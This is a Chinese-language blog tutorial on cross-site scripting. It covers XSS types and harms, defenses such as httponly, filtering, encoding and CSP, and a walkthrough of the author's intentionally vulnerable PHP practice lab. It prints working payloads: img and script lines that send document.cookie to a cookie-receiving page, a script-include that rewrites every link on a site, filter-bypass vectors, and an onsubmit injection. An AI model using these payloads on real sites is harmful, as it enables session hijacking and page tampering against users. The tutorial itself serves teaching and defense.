【XSS技巧拓展】————4、淺談跨站指令碼攻擊與防禦
跨站指令碼簡稱xss(cross-site scripting),利用方式主要是藉助網站本身設計不嚴謹,導致執行使用者提交的惡意js指令碼,對網站自身造成危害。xss漏洞是web滲透測試中最常見而又使用最靈活的一個漏洞,近期在拜讀了《白帽子講web安全》、《Web實戰篇》、《XSS跨站指令碼攻擊剖析與防禦》等幾部佳作後,決定整理關於Xss漏洞的一些知識,並以本篇作為記錄,權當筆記or讀後感。
本篇內容主要包含xss漏洞攻擊與防禦理論知識,以及結合原創的xss漏洞闖關平臺,通過實操的方式展示xss的攻擊以及防禦方法。由於xss理論知識網上非常豐富,這裡不做詳細講解,本篇內容著重實操練習的過程。
Xss分類
xss大致分為:反射型、儲存型、DOM型(這三種為主流)
- 反射型xss:只是簡單地把使用者輸入的資料”反射”給瀏覽器,攻擊時需要使用者配合點選,也叫”非持久型xss”。
- 儲存型xss:會把使用者輸入的資料”儲存”在伺服器端,也叫”永續性xss”,常見留言板等可以提交展示使用者輸入內容的功能點。
- DOM型xss:從是否儲存可劃分成反射型,可通過修改頁面的DOM節點形成的xss漏洞。
注意:無論反射型還是儲存型,都是需要與服務端互動的,即服務端將提交的內容反饋到了html原始碼內,導致觸發xss,也就是說返回到html原始碼中可以看到觸發xss的程式碼;而DOM型xss是不與服務端互動的,只與客戶端上的js互動,也就是說提交的惡意程式碼,被放到了js中執行,然後顯示出來。那麼這種形式有一個問題,就是html原始碼裡面不存在觸發xss的程式碼,因為服務端返回的原始碼都是一樣的,只不過原始碼裡面包含了一段js,這段js再執行後生成了一段xss程式碼,可以在審查元素中檢視到。
Xss危害
xss漏洞是發生在客戶端,目的是讓瀏覽器執行一段使用者提交的惡意js程式碼,從而達到某種目的。從表面上看,xss漏洞的危害止步於客戶端,且主要就是用來執行js獲取使用者資訊(比如瀏覽器版本等等)。然而由於xss漏洞可能發生的地方很多,因此被利用的情況也不統一,以下列舉了xss漏洞能夠造成的一些危害(xss漏洞危害包含但不僅限於以下幾種)。
- cookie劫持(竊取cookie)
- 後臺增刪改文章等操作(類似於csrf騙取使用者點選,利用js模擬瀏覽器發包,藉助xmlhttprequest類)
- 釣魚,利用xss構造出一個登入框,騙取使用者賬戶密碼。
- Xss蠕蟲(利用xss漏洞進行傳播)
- 修改網頁程式碼
- 利用網站重定向
- 獲取使用者資訊(如瀏覽器資訊,IP地址等)
利用xss竊取cookie
利用xss進行cookie獲取劫持是最常用的一種姿勢,因為其能獲取到管理員許可權,危害較大,且利用簡單。
cookie介紹
cookie分為記憶體cookie和硬碟cookie,記憶體cookie儲存在瀏覽器記憶體中,關閉瀏覽器則消失。cookie由變數名與值組成,其屬性裡有標準的cookie變數,也有使用者自定義的屬性。
cookie格式:Set-Cookie:=[;=][;expiress=][;domain=][;path=][;secure][;httponly]
cookie各個引數詳細內容:
- Set-cookie:http響應頭,向客戶端傳送cookie。
- Name=value:每個cookie必須包含的內容。
- Expires=date:EXpires確定了cookie的有效終止日期,可選。如果預設,則cookie不儲存在硬碟中,只儲存在瀏覽器記憶體中。
- Domain=domain-name:確定了哪些inernet域中的web伺服器可讀取瀏覽器儲存的cookie,預設為該web伺服器域名。
- Path=path:定義了web伺服器哪些路徑下的頁面可獲取伺服器傳送的cookie。
- Secure:在cookie中標記該變數,表明只有為https通訊協議時,瀏覽器才向伺服器提交cookie。
- Httponly:禁止javascript讀取,如果cookie中的一個引數帶有httponly,則這個引數將不能被javascript獲取;httponly可以防止xss會話劫持攻擊。
利用xss竊取cookie方法
本地寫一個xss_cookie.php頁面,用於接收cookie。
在存在xss漏洞的地方,插入以下程式碼,便可以將cookie傳送到xss_cookie.php,並且將cookie引數傳遞進去,寫入檔案中。
常用獲取cookie的js程式碼(可自行擴充套件):
<img src="http://localhost/cspt/XSS_cookie.php?cookie='+document.cookie"></img>
<script>new Image().src="http://localhost/cspt/XSS/xss_cookie.php?cookie="+document.cookie;</script>
提交之後,本地cookie.txt檔案中就會寫入cookie值。
利用xss篡改網頁
前提:網站必須存在儲存型xss漏洞,並且會將結果返回到頁面上。
這樣我們就可以插入一段js程式碼,作用在於獲取網站原始碼中的標籤,然後修改其中的屬性值,達到修改網頁的效果。
例項:修改網站所有連線地址
本地編寫一個test.js指令碼,內容如下:
將以下語句插入存在儲存型xss漏洞的網站
<script type='text/javascript' src='http://localhost/cspt/XSS/test.js'></script>
可以發現存在該漏洞的網頁上所有的連結都變成了www.google.com。
注:javascript載入外部的程式碼檔案可以是任意副檔名(無副檔名也可以)
利用xss獲取使用者資訊
xss獲取使用者資訊,運用最多的還是獲取cookie資訊,但除此之外,還可以獲取使用者瀏覽器版本、外網IP地址、瀏覽器安裝的外掛型別等等。以下列舉了利用xss獲取的客戶端使用者資訊(包含但不僅限於以下幾種)。
- alert(navigator.userAgent);讀取userAgent內容
- alert(document.cookie);讀取使用者cookie內容
- 利用java環境,呼叫java Applet的介面獲取客戶端本地IP
注:利用Xss漏洞能做的事有很多,前面已經列舉了一些,這裡便不對每一個都展開講解,如需瞭解更多的xss漏洞內容,最好的方式還是看書。
Xss漏洞探測
前面介紹了一些xss漏洞的基礎內容,那麼如何去檢測一個網站(某個點)是否存在xss漏洞呢?
xss探針
我們可以在測試xss的位置寫入以下程式碼,檢視頁面原始碼,觀察哪些程式碼被過濾或者轉義。
'';!--"<XSS>=&{()}
xss探針可檢測出網站有沒有對xss漏洞做最基礎的防禦。
基礎xss語句
除了xss探針以外,我們也可以輸入最簡單的測試語句:
<script>alert(/xss/)</script>
如果插入的語句被原封不動的呈現在了瀏覽器中,那麼說明了2個問題:
- 程式碼沒有被過濾,說明存在xss
- 程式碼沒有被執行,因為沒有閉合類似textarea標籤,可以檢視下原始碼。
如果發現某些引數被過濾了,那麼嘗試使用其他方式(詳細介紹在繞過一節會講)。
xss檢測常用語句
列舉一些常用的xss漏洞檢測程式碼:
<script>alert(/xss/);</script>
<script>alert(/xss/)//
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分號,也可以分號+空格(回車一起使用)
<img src=1 onmouseover=alert(1)>
<a herf=1 onload=alert(1)>nmask</a>
<script>window.a==1?1:prompt(a=1)</script>
<script>a=prompt;a(1)</script>
<img src=0 onerror=confirm('1')>
Xss防禦
如何利用xss漏洞實施攻擊並不是身為安全工程師的重點,xss防禦才是我們努力要去做的。以下列舉幾種常見的xss防禦方式,個人認為也是非常有效的方式。
- 可在cookie中設定httponly(瀏覽器禁止頁面的js訪問帶有httponly屬性的cookie)
- xss filter(檢查輸入,設定白名單方式)
- 輸出檢查(編碼,轉義,常用編碼:html編碼,js編碼,16進位制等)
- 針對不同位置的輸出,使用不同的處理方式
- 處理富文字
- header中使用content-Sencurity-Policy欄位,規定請求js的域名白名單(CSP策略)
設定httponly
httponly無法完全的防禦xss漏洞,它只是規定了不能使用js去獲取cookie的內容,因此它只能防禦利用xss進行cookie劫持的問題。Httponly是在set-cookie時標記的,可對單獨某個引數標記也可對全部引數標記。由於設定httponly的方法比較簡單,使用也很靈活,並且對防禦cookie劫持非常有用,因此已經漸漸成為一種預設的標準。
xss filter
Xss filter往往是一個文字檔案,裡面包含了允許被使用者輸入提交的字元(也有些是包含不允許使用者提交的字元)。它檢測的點在於使用者輸入的時候,xss filter分為白名單與黑名單,推薦使用白名單,但即使使用白名單還是無法完全杜絕xss問題,並且使用不當可能會帶來很高的誤報率。
編碼轉義
編碼方式有很多,比如html編碼、url編碼、16進位制編碼、javascript編碼等。
在處理使用者輸入時,除了用xss filter的方式過濾一些敏感字元外,還需要配合編碼,將一些敏感字元通過編碼的方式改變原來的樣子,從而不能被瀏覽器當成js程式碼執行。
處理富文字
有些網頁編輯器允許使用者提交一些自定義的html程式碼,稱之為”富文字”。想要在富文字處防禦xss漏洞,最簡單有效的方式就是控制使用者能使用的標籤,限制為只能使用a、div等安全的標籤。
處理所有輸出型別的xss漏洞
xss漏洞本質上是一種html注入,也就是將html程式碼注入到網頁中。那麼其防禦的根本就是在將使用者提交的程式碼顯示到頁面上時做好一系列的過濾與轉義。
HTML標籤中輸出
即使用者輸入的內容直接在標籤中顯示:
<div>$input</div>
防禦方式,將使用者輸入進行html編碼。
HTML屬性中輸出
即使用者輸入的內容出現在標籤的某個屬性中:
<div name="$input"></div>
防禦方式,將使用者輸入進行html編碼。
Script標籤中輸出
即使用者輸入的內容出現在script標籤裡面:
<script>
var a="$input"; // $input=";alert(/xss/);//"; 則會產生xss漏洞
</script>
防禦方式,將使用者輸入進行javascript編碼。
在事件中輸出
即在事件標籤中輸出使用者輸出的內容,比如onclick標籤等。
防禦方式,將使用者輸入進行javascript編碼。
在CSS中輸出
即使用者輸入的內容出現在了css的style等標籤中。
防禦方式,進行十六進位制編碼。
在地址中輸出
這個跟在html屬性中輸出類似,即在a標籤的href屬性中輸出。
防禦方式,將使用者輸入進行url編碼。
總結:總得來說防禦xss的方式只是三種:httponly、過濾字元、轉義字元。然而使用何種編碼轉義,什麼地方需要做轉義才是真正防禦xss漏洞的難點及重點,如果能搞明白並解決這個問題,那麼xss漏洞將會無處可尋。————《白帽子將web安全》一書xss篇讀後感。
Xss繞過技巧
有xss防禦便會有xss繞過防禦姿勢,這是攻與防不斷博弈的表現與成果。作為一名安全工程師,瞭解如何繞過xss防禦可以更好地解決xss防禦問題。(這裡探討的繞過xss防禦不包含繞過waf的部分)
繞過xss filter
繞過xss filter的前提在於,xss filter使用了黑名單,並且沒有過濾完全。
前提一:如果過濾了”《script》”字串,但沒有過濾”<”、”>”字元,則可以使用javascript:[code]偽協議的形式。
<img src="javascript:alert('test');">
前提二:過濾了《script》,且只過濾一次。
<scr<script>ipt>
前提三:沒有正確處理空格、回車等字元
<img src="javas
Cript:
Alert(/xss/)" width=100>
關於繞過xss filter的方式還有很多,這裡不一一展開了,只是列舉下常見的方法:
- 轉換大小寫
- 大小寫混寫
- 雙引號改單引號
- 引號改為/
- 用全形字元
- 使用javascript偽協議
- 使用回車、空格等特殊字元
- 在css的style中使用/**/註釋符
- 使用字元編碼
- 利用事件觸發xss
Xss闖關實操
為了加深對xss漏洞的理解,我特意用php編寫了一套xss闖關練習平臺,裡面包含了一些常見的xss防禦題型,我們需要做的就是如何去繞過這些防禦,以及思考這些防禦的弱點在於哪裡?
xss闖關練習平臺頁面展示:
因為時間有限,並沒有對頁面進行美化,湊合著用用~!~。
平臺題目由易到難,接下來的實操以及介紹也會從簡單到複雜。介紹時,我會分別展示php原始碼中的防禦方式(展示服務端程式碼),以及如何去繞過這些防禦(展示客戶端html程式碼)。
無任何過濾
下圖是最簡單的一個xss練習例子,網頁從url中獲取引數id的值,直接在頁面中顯示出來,沒有做任何過濾。
檢視網頁原始碼:
檢視php程式碼:
$id=$_GET['id'];
echo '當前提交的引數:'.'<font color=red>'.$id.'</font>';
過濾《script》
那麼一般情況下,網站不可能對使用者輸入不做任何過濾,比如以下案例:
通過觀察html程式碼我們可以看到過濾了《script》以及《/script》,檢視下php程式碼:
$id=$_GET['id'];
$id=preg_replace("/<script>/", "", $id);
$id=preg_replace("/<\/script>/", "", $id);
echo '提交的引數:'.'<font color=red>'.$id.'</font>';
繞過方式:
過濾alert
讓我們增加點難度,直接看第5題:
這回我們輸入內容後,網頁直接顯示報錯,而不是返回過濾後的內容,這將會增加我們判斷服務端過濾規則的難度。為了方便演示,我這邊直接開啟php程式碼檢視(實際測試過程肯定是比較漫長的,需要一個個標籤去試)
$id=$_GET['id'];
if (preg_match('/alert/i',$id)){
echo '出錯啦!';
}else{
echo '提交的引數:'.'<font color=red>'.$id.'</font>';
知道了服務端過濾了alert標籤後,我們就可以構造繞過方式了:
能構造彈框的標籤有好幾種(當然真實環境應該不會只過濾彈框標籤)
結合事件構造xss
乍一看第8題並沒有什麼很好的思路。
然後我通過檢視html原始碼,尋找一些蛛絲馬跡:
在測試幾次後,我們發現網頁原始碼中的變化:
讓我們來看看php程式碼是怎麼寫的:
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method='post'>
YOUR CODE:<input type='text' name='code'/>
<input type='submit' name='submit'/>
</form>
可以看到php程式碼實現了將網頁自身的url輸出到form的action屬性中。
構造xss:
檢視下html原始碼
<form action="/XSS/xss_8.php /" onsubmit='alert(1)' name="" method='post'>
然後點選按鈕,執行了onsubmit事件。
總結:關於xss的案例還有很多,由於篇幅的關係,這裡不一一演示了。xss練習平臺只是列舉了最基礎且常見的xss漏洞情況,例項後期可以再進行增加,而關鍵點在於通過實操可以讓我們深刻理解xss發生的位置,以及如何更好地去防禦它。
Xss平臺
xss漏洞的利用離不開一個強大的xss平臺,關於xss平臺的搭建與使用,請移步:xss平臺搭建小記
說明:本文將會持續更新一些xss繞過以及防禦姿勢,目前本文對繞過以及防禦姿勢的描述有限,一是由於本人對xss漏洞理解不夠深入,二是由於缺乏測試案例。但隨著學習的深入,相信會記錄更多更好的乾貨,盡情期待哦。